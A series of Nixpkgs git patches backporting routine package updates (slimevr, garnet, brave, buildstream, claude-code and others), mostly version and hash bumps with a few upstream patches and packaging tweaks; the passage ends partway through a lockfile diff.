@@ -1,7 +1,6 @@
 {
   lib,
   fetchFromGitHub,
-  fetchpatch,
   stdenv,
   replaceVars,
   makeWrapper,
@@ -17,30 +16,31 @@
   webkitgtk_4_1,
   gst_all_1,
   libayatana-appindicator,
+  udevCheckHook,
 }:
 
 rustPlatform.buildRustPackage rec {
   pname = "slimevr";
-  version = "0.16.0";
+  version = "0.16.2";
 
   src = fetchFromGitHub {
     owner = "SlimeVR";
     repo = "SlimeVR-Server";
-    rev = "v${version}";
-    hash = "sha256-ZYL+aBrADbzSXnhFzxNk8xRrY0WHmHCtVaC6VfXfLJw=";
+    tag = "v${version}";
+    hash = "sha256-g0SDienJX7ZUbypeIAWSwjxgu40AFd3jVALuMhHj6mQ=";
     # solarxr
     fetchSubmodules = true;
   };
 
   buildAndTestSubdir = "gui/src-tauri";
 
-  cargoHash = "sha256-+WrBVL4/XslJSOwuxs4IzqXG9l1/lMSbKil/8OHc9Xw=";
+  cargoHash = "sha256-w2z+EQqkVGLmXQS+AzeJwkGG4ovpz9+ovmLOcUks734=";
 
   pnpmDeps = pnpm_9.fetchDeps {
     pname = "${pname}-pnpm-deps";
     inherit version src;
     fetcherVersion = 1;
-    hash = "sha256-lh5IKdBXuH9GZFUTrzaQFDWCEYj0UJhKwCdPmsiwfCs=";
+    hash = "sha256-b0oCOjxrUQqWmUR6IzTEO75pvJZB7MQD14DNbQm95sA=";
   };
 
   nativeBuildInputs = [
@@ -50,6 +50,7 @@ rustPlatform.buildRustPackage rec {
     pkg-config
     wrapGAppsHook3
     makeWrapper
+    udevCheckHook
   ];
 
   buildInputs = [
@@ -85,17 +86,6 @@ rustPlatform.buildRustPackage rec {
       --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
     substituteInPlace gui/src-tauri/src/tray.rs \
       --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
-
-    # tao < version 0.31 has a GTK crash. Manually apply the fix.
-    pushd $cargoDepsCopy/tao-0.30.*
-    patch -p1 < ${
-      fetchpatch {
-        name = "fix-gtk-crash.patch";
-        url = "https://github.com/tauri-apps/tao/commit/83e35e961f4893790b913ee2efc15ae33fd16fb2.diff";
-        hash = "sha256-FNXWzsg4lO6VbLsqS6NevX8kVj26YtcYdKbbFejq9hM=";
-      }
-    }
-    popd
   '';
 
   # solarxr needs to be installed after compiling its Typescript files. This isn't
@@ -105,11 +95,14 @@ rustPlatform.buildRustPackage rec {
   '';
 
   doCheck = false; # No tests
+  doInstallCheck = true; # Check udev
 
   # Get rid of placeholder slimevr.jar
   postInstall = ''
     rm $out/share/slimevr/slimevr.jar
     rm -d $out/share/slimevr
+
+    install -Dm644 -t $out/lib/udev/rules.d/ gui/src-tauri/69-slimevr-devices.rules
   '';
 
   # `JAVA_HOME`, `JAVA_TOOL_OPTIONS`, and `--launch-from-path` are so the GUI can

From 6cc8a229ba0029e6ebdafc1e26e51790deed10d2 Mon Sep 17 00:00:00 2001
From: Nicolas Benes <nbenes.gh@xandea.de>
Date: Mon, 4 Aug 2025 20:22:30 +0200
Subject: [PATCH 3731/4511] open62541: 1.4.12 -> 1.4.13

https://github.com/open62541/open62541/releases/tag/v1.4.13
(cherry picked from commit 42e35a4edce79c80aca54df64ed006891612bbde)
---
 pkgs/by-name/op/open62541/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/open62541/package.nix b/pkgs/by-name/op/open62541/package.nix
index 003af800685a..18303e4e5a0d 100644
--- a/pkgs/by-name/op/open62541/package.nix
+++ b/pkgs/by-name/op/open62541/package.nix
@@ -33,13 +33,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "open62541";
-  version = "1.4.12";
+  version = "1.4.13";
 
   src = fetchFromGitHub {
     owner = "open62541";
     repo = "open62541";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-FhlYowmu3McXuhOplnN/tnfkHAvRJqIuk60ceFYOmR0=";
+    hash = "sha256-y4yxdO55fMmkP+nCU6ToabvAPi6hgXHiDXpF3tNEHNw=";
     fetchSubmodules = true;
   };
 

From 0775958f96c1706c61928f322434d9efed5166d5 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Fri, 15 Aug 2025 23:11:48 +0200
Subject: [PATCH 3732/4511] tauno-monitor: 0.2.11 -> 0.2.15

(cherry picked from commit 976973ddfbf72420b1682bdf981a09abb370cab2)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index 4a3f9f16d348..123d0063ecec 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.2.11";
+  version = "0.2.15";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-FoNn+A0zqFf/Nl0MrK9/X5mwaq8mJBRH0uGnemDC0is=";
+    hash = "sha256-x2RgjKI+GSrZYY2sZWFTB1OkBF3s3O+XOpj1Es03ZwE=";
   };
 
   nativeBuildInputs = [

From ef795d583cd6845a0e39e3f0afa0e2ae70f3b643 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 11 Aug 2025 22:58:50 +0000
Subject: [PATCH 3733/4511] garnet: 1.0.80 -> 1.0.81

(cherry picked from commit 8124c57f91542996e55770437bd920ef9d693c38)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index af25400a3657..4fce3bced6fb 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.80";
+  version = "1.0.81";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-9B2Ai+W6+rZ8xLrrO7d8jd6LYWaMGIq3a+lz8rY32uA=";
+    hash = "sha256-CEpxV6BoTfkC3Lka1Xuci3uyUYoWxoyYKTQTco5NVY4=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 494c83bf05ad4245fccf88bc561b39446c6af035 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 20 Aug 2025 05:20:45 +0000
Subject: [PATCH 3734/4511] garnet: 1.0.81 -> 1.0.82

(cherry picked from commit e9647db1cef6c0baa54716ee746fbfdbced352cc)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index 4fce3bced6fb..7168325d3d49 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.81";
+  version = "1.0.82";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-CEpxV6BoTfkC3Lka1Xuci3uyUYoWxoyYKTQTco5NVY4=";
+    hash = "sha256-ju39u5GvlxKxTn47MAicNFM9Delk6n/ht74p2XxmM44=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From efc86c058ce9e67c8c639814afc5faeac6d694f2 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Fri, 8 Aug 2025 21:24:11 +0200
Subject: [PATCH 3735/4511] matrix-alertmanager-receiver: 2025.7.30 -> 2025.8.6

Release notes: https://github.com/metio/matrix-alertmanager-receiver/releases/tag/2025.8.6
Full changelog: https://github.com/metio/matrix-alertmanager-receiver/compare/2025.7.30...2025.8.6

(cherry picked from commit 60062dc4be46a9af85cb98cb89996894f56c864a)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index 3a85dd39ebd1..e7c424eb6b78 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.7.30";
+  version = "2025.8.6";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = finalAttrs.version;
-    hash = "sha256-2zTkRXXXMMphNyw/OeiIAmc4KP0LqN6M0vtpX/7fhoI=";
+    hash = "sha256-rnGKpJppR7NoOAx/jGt7vxr1EVok3tMzkr9ry/k57L8=";
   };
 
-  vendorHash = "sha256-zOaAvPCAEQkJMogJ6ly0jkHfj+SAlFqk5m+eQdsaxK4=";
+  vendorHash = "sha256-JMjfrSdaN2zXgACkPddQ9h7SLV6jhpUvFTk56UfPWJg=";
 
   env.CGO_ENABLED = "0";
 

From 83f65557e69aeea4f60df641b83a7829f945d043 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Wed, 20 Aug 2025 16:50:04 +0200
Subject: [PATCH 3736/4511] matrix-alertmanager-receiver: 2025.8.6 -> 2025.8.20

Release notes: https://github.com/metio/matrix-alertmanager-receiver/releases/tag/2025.8.20
Full changelog: https://github.com/metio/matrix-alertmanager-receiver/compare/2025.8.6...2025.8.20

(cherry picked from commit 2965fa9c9a4c489292f2c56c7af56443b8b6b552)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index e7c424eb6b78..f2513130c129 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.8.6";
+  version = "2025.8.20";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = finalAttrs.version;
-    hash = "sha256-rnGKpJppR7NoOAx/jGt7vxr1EVok3tMzkr9ry/k57L8=";
+    hash = "sha256-7mKpS80Iw35F+YiQujh80wGIjsxwcCEs8lDGLdq1v3U=";
   };
 
-  vendorHash = "sha256-JMjfrSdaN2zXgACkPddQ9h7SLV6jhpUvFTk56UfPWJg=";
+  vendorHash = "sha256-Y43bmnY9E9Mq3yjJ5XO+Ox+jjUmD2IB+SYdyn4IeXE4=";
 
   env.CGO_ENABLED = "0";
 

From fc3ea8697bf4186055ef3c5e1a03c9a61a943ffc Mon Sep 17 00:00:00 2001
From: Dom Rodriguez <shymega@shymega.org.uk>
Date: Wed, 2 Jul 2025 22:36:25 +0100
Subject: [PATCH 3737/4511] buildstream: 2.4.1 -> 2.5.0

Applied two patches from upstream repository for Buildstrream, to fix
the Protobuf runtime warnings, and dependency constraints.

These patches can be removed once Buildstream v2.6.0 is released.

(cherry picked from commit c0d7f1f4aebdc05c4a23efcc4dd5c7a43b1e2a0d)
---
 pkgs/by-name/bu/buildstream/package.nix | 18 ++++++++++++++++--
 1 file changed, 16 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/buildstream/package.nix b/pkgs/by-name/bu/buildstream/package.nix
index 2ea655ec4a66..47c84a04cdc3 100644
--- a/pkgs/by-name/bu/buildstream/package.nix
+++ b/pkgs/by-name/bu/buildstream/package.nix
@@ -2,6 +2,7 @@
   lib,
   python3Packages,
   fetchFromGitHub,
+  fetchpatch,
 
   # buildInputs
   buildbox,
@@ -20,16 +21,28 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "buildstream";
-  version = "2.4.1";
+  version = "2.5.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "apache";
     repo = "buildstream";
     tag = version;
-    hash = "sha256-6a0VzYO5yj7EHvAb0xa4xZ0dgBKjFcwKv2F4o93oahY=";
+    hash = "sha256-/kGmAHx10//iVeqLXwcIWNI9FGIi0LlNJW+s6v0yU3Q=";
   };
 
+  # FIXME: To be removed in v2.6.0 of Buildstream.
+  patches = [
+    (fetchpatch {
+      url = "https://github.com/apache/buildstream/commit/9c4378ab2ec71b6b79ef90ee4bd950dd709a0310.patch?full_index=1";
+      hash = "sha256-po3Dn7gCv7o7h3k8qhmoH/b6Vv6ikKO/pkA20RvdU1g=";
+    })
+    (fetchpatch {
+      url = "https://github.com/apache/buildstream/commit/456a464b2581c52cad2b0b48596f5c19ad1db23f.patch?full_index=1";
+      hash = "sha256-0oFENx4AUhd1uJxRzbKzO5acGDosCc4vFJaSJ6urvhk=";
+    })
+  ];
+
   build-system = with python3Packages; [
     cython
     pdm-pep517
@@ -104,6 +117,7 @@ python3Packages.buildPythonApplication rec {
     "test_source_pull_partial_fallback_fetch"
 
     # FAILED tests/sources/tar.py::test_out_of_basedir_hardlinks - AssertionError
+    # FIXME: To be removed in v2.6.0 of Buildstream.
     "test_out_of_basedir_hardlinks"
   ];
 

From fec9d0622968da0ab1b8988ccb4ca047198b86d7 Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Tue, 19 Aug 2025 15:46:30 +0800
Subject: [PATCH 3738/4511] geph: 0.2.72 -> 0.2.77

(cherry picked from commit eb604420f4987e6f6df07767802996a5d32a75c5)
---
 pkgs/by-name/ge/geph/package.nix | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ge/geph/package.nix b/pkgs/by-name/ge/geph/package.nix
index e68b537313d5..c304623e7b94 100644
--- a/pkgs/by-name/ge/geph/package.nix
+++ b/pkgs/by-name/ge/geph/package.nix
@@ -14,6 +14,7 @@
   libglvnd,
   copyDesktopItems,
   makeDesktopItem,
+  nix-update-script,
 }:
 let
   binPath = lib.makeBinPath [
@@ -23,16 +24,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "geph5";
-  version = "0.2.72";
+  version = "0.2.77";
 
   src = fetchFromGitHub {
     owner = "geph-official";
     repo = "geph5";
     rev = "geph5-client-v${finalAttrs.version}";
-    hash = "sha256-+/oOQjebkn3iYi5UXFzFoe0ldu+p+nf5uEjGhk5nlNo=";
+    hash = "sha256-xm2eSCLIPYydR8iwMlZyc/M6bFrUZRqL5yZUXuYdk/k=";
   };
 
-  cargoHash = "sha256-OFSsMa/xErNB+1cvEOnGshJJEcG8ZDf9y/uYVnsVwhU=";
+  cargoHash = "sha256-DNk4BQoY8m3OmglXMZzGstl9aC+LhZq9EN0OLW7sBrw=";
 
   postPatch = ''
     substituteInPlace binaries/geph5-client/src/vpn/*.sh \
@@ -98,6 +99,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
     }' "$out/bin/geph5-client-gui"
   '';
 
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      "--version-regex"
+      "geph5-client-v(.*)"
+    ];
+  };
+
   meta = {
     description = "Modular Internet censorship circumvention system designed specifically to deal with national filtering";
     homepage = "https://github.com/geph-official/geph5";

From d1267a9a87a270e3c0c7fb57b98c832b5d72b322 Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Tue, 19 Aug 2025 16:53:12 +1000
Subject: [PATCH 3739/4511] ruby_3_3: 3.3.8 -> 3.3.9

Release: https://www.ruby-lang.org/en/news/2025/07/24/ruby-3-3-9-released/
(cherry picked from commit af25844da2b78dc17c8fffda9a89104803ead743)
---
 pkgs/development/interpreters/ruby/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/ruby/default.nix b/pkgs/development/interpreters/ruby/default.nix
index af5d523e3d08..8a3b6b9a614b 100644
--- a/pkgs/development/interpreters/ruby/default.nix
+++ b/pkgs/development/interpreters/ruby/default.nix
@@ -426,8 +426,8 @@ in
   };
 
   ruby_3_3 = generic {
-    version = rubyVersion "3" "3" "8" "";
-    hash = "sha256-WuKKh6WaPkrWa8KTHSMturlT0KqPa687xPj4CXfInKs=";
+    version = rubyVersion "3" "3" "9" "";
+    hash = "sha256-0ZkWkKThcjPsazx4RMHhJFwK3OPgDXE1UdBFhGe3J7E=";
     cargoHash = "sha256-xE7Cv+NVmOHOlXa/Mg72CTSaZRb72lOja98JBvxPvSs=";
   };
 

From fb0f8d873944462c0c3edb5254b4c52bf11be484 Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Wed, 20 Aug 2025 20:10:36 -0400
Subject: [PATCH 3740/4511] brave: 1.81.135 -> 1.81.136

https://community.brave.app/t/release-channel-1-81-136/641121
(cherry picked from commit fcd38ab8272dfa16f549514241997f6a33cb047a)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index c6567c2ceead..3901dbedea94 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.81.135";
+  version = "1.81.136";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-JXPvGcc6dLPaLGfHtyMa3JpOs4OF1V8GCGzoSJdSjRg=";
+      hash = "sha256-IU05OLT0IyRAiT10tEOayXpPi7iZBmDnp4n4AI+hVr0=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-M99LF0Pc74xsQmnH97ATCUxrAyFfiQ0Rw8KYIvkJoPc=";
+      hash = "sha256-z6nMg8twkUv1CtboxzuOYwyfgUkgEV7XAKoBE26VKY4=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-GpXGuxH2fuLNGXvMhTn7vu1b03YDAY+13lkcsW6zPe8=";
+      hash = "sha256-5a0YLUokVoiUB9jf/osDfHH11KKUJJSbAqIEjoBNiEs=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-WzwarZxP/Gte+mVpY+Altaezcy6fTrPVwCkLJx4KjQA=";
+      hash = "sha256-apW6RXQ15cbUoGHY6ZTQDb1zTXoifcvTECcOFuVLbho=";
     };
   };
 

From 17424b113500efad8686ae094cf97392de2201bf Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 20 May 2025 03:25:04 +0000
Subject: [PATCH 3741/4511] claude-code: 0.2.109 -> 0.2.122

(cherry picked from commit 0a34ae39914ed02556daecc3b212b83f26708329)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 459 +-----------------
 pkgs/by-name/cl/claude-code/package.nix       |   6 +-
 2 files changed, 7 insertions(+), 458 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 70398c0cafce..e2fdd266549a 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,18 +5,15 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^0.2.109"
+        "@anthropic-ai/claude-code": "^0.2.122"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "0.2.109",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-0.2.109.tgz",
-      "integrity": "sha512-dxOUgATehMCBZHzC47H3i6CCAf2YlXQMcTxrfzl0XEkwqEhbT8EzwWVbqDVc7n/eLykY2SK7xf5hD1iK8kr/dw==",
+      "version": "0.2.122",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-0.2.122.tgz",
+      "integrity": "sha512-q9XnW6a4btqHM2XYxkcl2d7dDNRTX8pvaeisiNWYzAOSKC+wUfOrkioUUS3BG+i6sNtJB03jPKJdqvEvtXbZjw==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
-      "dependencies": {
-        "better-sqlite3": "^11.9.1"
-      },
       "bin": {
         "claude": "cli.js"
       },
@@ -162,454 +159,6 @@
       "funding": {
         "url": "https://opencollective.com/libvips"
       }
-    },
-    "node_modules/base64-js": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
-      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/feross"
-        },
-        {
-          "type": "patreon",
-          "url": "https://www.patreon.com/feross"
-        },
-        {
-          "type": "consulting",
-          "url": "https://feross.org/support"
-        }
-      ],
-      "license": "MIT"
-    },
-    "node_modules/better-sqlite3": {
-      "version": "11.9.1",
-      "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-11.9.1.tgz",
-      "integrity": "sha512-Ba0KR+Fzxh2jDRhdg6TSH0SJGzb8C0aBY4hR8w8madIdIzzC6Y1+kx5qR6eS1Z+Gy20h6ZU28aeyg0z1VIrShQ==",
-      "hasInstallScript": true,
-      "license": "MIT",
-      "dependencies": {
-        "bindings": "^1.5.0",
-        "prebuild-install": "^7.1.1"
-      }
-    },
-    "node_modules/bindings": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
-      "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
-      "license": "MIT",
-      "dependencies": {
-        "file-uri-to-path": "1.0.0"
-      }
-    },
-    "node_modules/bl": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
-      "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
-      "license": "MIT",
-      "dependencies": {
-        "buffer": "^5.5.0",
-        "inherits": "^2.0.4",
-        "readable-stream": "^3.4.0"
-      }
-    },
-    "node_modules/buffer": {
-      "version": "5.7.1",
-      "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
-      "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/feross"
-        },
-        {
-          "type": "patreon",
-          "url": "https://www.patreon.com/feross"
-        },
-        {
-          "type": "consulting",
-          "url": "https://feross.org/support"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "base64-js": "^1.3.1",
-        "ieee754": "^1.1.13"
-      }
-    },
-    "node_modules/chownr": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
-      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
-      "license": "ISC"
-    },
-    "node_modules/decompress-response": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
-      "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
-      "license": "MIT",
-      "dependencies": {
-        "mimic-response": "^3.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
-    "node_modules/deep-extend": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
-      "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=4.0.0"
-      }
-    },
-    "node_modules/detect-libc": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.4.tgz",
-      "integrity": "sha512-3UDv+G9CsCKO1WKMGw9fwq/SWJYbI0c5Y7LU1AXYoDdbhE2AHQ6N6Nb34sG8Fj7T5APy8qXDCKuuIHd1BR0tVA==",
-      "license": "Apache-2.0",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/end-of-stream": {
-      "version": "1.4.4",
-      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
-      "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
-      "license": "MIT",
-      "dependencies": {
-        "once": "^1.4.0"
-      }
-    },
-    "node_modules/expand-template": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
-      "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==",
-      "license": "(MIT OR WTFPL)",
-      "engines": {
-        "node": ">=6"
-      }
-    },
-    "node_modules/file-uri-to-path": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
-      "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
-      "license": "MIT"
-    },
-    "node_modules/fs-constants": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
-      "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==",
-      "license": "MIT"
-    },
-    "node_modules/github-from-package": {
-      "version": "0.0.0",
-      "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
-      "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==",
-      "license": "MIT"
-    },
-    "node_modules/ieee754": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
-      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/feross"
-        },
-        {
-          "type": "patreon",
-          "url": "https://www.patreon.com/feross"
-        },
-        {
-          "type": "consulting",
-          "url": "https://feross.org/support"
-        }
-      ],
-      "license": "BSD-3-Clause"
-    },
-    "node_modules/inherits": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-      "license": "ISC"
-    },
-    "node_modules/ini": {
-      "version": "1.3.8",
-      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
-      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
-      "license": "ISC"
-    },
-    "node_modules/mimic-response": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
-      "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
-    "node_modules/minimist": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
